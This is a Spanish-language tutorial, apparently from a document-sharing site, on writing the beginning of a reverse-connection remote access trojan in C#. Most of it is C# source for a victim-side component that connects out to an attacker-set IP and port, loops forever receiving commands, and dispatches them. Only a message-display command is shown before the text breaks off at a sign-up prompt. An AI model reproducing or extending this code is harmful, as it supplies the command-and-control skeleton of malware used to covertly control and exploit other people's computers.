Creando un Troyano en C#
En este tuto voy a enseñar como crear el principio de un RAT de conexion inversa.
En mi caso usaré visual studio ultimate 2012 pero obviamente puede utilizar algun otro IDE.
***************Creando el Servidor*************
Crearemos un servidor muy simple que lo que hará será esperar a que el cliente se conecte esto será mediante un ciclo infinito con unapausa del tiempo que nosotros indiquémos
Abrimos vs y creamos un nuevo proyecto de winform, y dos clases con el nombre que querámos en mi caso el nombre dle proyecto es Server, clase Servidor y Utilidades:
Primero escribiremos la clase servidor
agregamos los NameSpaces que necesitamos, en este caso solo agregarémos 3:
Código:
using System.IO; //Streams
using System.Net.Sockets;//tcpclient
using System.Threading; //Hilos
y nuestra clase quedará de la sig. manera:
Código:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO; //Streams
using System.Net; //IPAdress
using System.Net.Sockets; //tcpclient
using System.Threading; //Hilos
namespace Server
{
public class Servidor
{
//variables necesarias para conectarnos al cliente de manera inversa, ademas de escuchar los mensajes de este
private string ip;
private int port;
private TcpClient tcpClient;
private NetworkStream ns;
private StreamReader sr;
private StreamWriter sw;
private StringBuilder sb;
public Servidor(string ip,int port)
{
this.ip = ip;
this.port = port;
}
private enum mensajes
{
CD,
Mensaje
}
public void iniciar(int tiempo)
{
EjecutarServidor();
Thread.Sleep(tiempo);
}
private void EjecutarServidor()
{
tcpClient = new TcpClient();
sb = new StringBuilder();
if (!tcpClient.Connected)
{
try
{
tcpClient.Connect(ip, port);
ns = tcpClient.GetStream();
sr = new StreamReader(ns);
sw = new StreamWriter(ns);
}
catch(Exception)
{
return;
}
for (; ; )
{
try
{
sb.Append(sr.ReadLine());
LeerDatos(sb.ToString());
sb.Remove(0, sb.Length);
}
catch (Exception)
{
limpiar();
break;
}
}
}//fin del if
}//fin del metodo EjecutarServidor
private void LeerDatos(string datos)
{
string[] cadena = datos.Split('$');
if (String.Compare(cadena[0], mensajes.Mensaje.ToString()) == 0)
{ Utilidades.mandarMensaje(cadena[1]);
}
}//fin de LeerDatos
private void limpiar()
{
sr.Close();
sw.Close();
ns.Close();
}//fin de limpiar
}//fin clase servidor
}
Aquí he creado las variables que necesitamos para conectarnos al cliente, esto es la ip y el puerto (esto se hace enel constructor) ademas de un StreamReader que usarémos para escuchar los mensajes que el cliente escriba.
Usé una variable del tipo enum, esto es para validar los mensajes del cliente, esto lo hacemos de la sig forma:
si el cliente escribe por ejemplo "MandarMensaje" el servidor compara ese mensaje con el enum y si son iguales entonces va a realizar alguna tarea que escribamos en la clase...
Regístrate para leer el documento completo.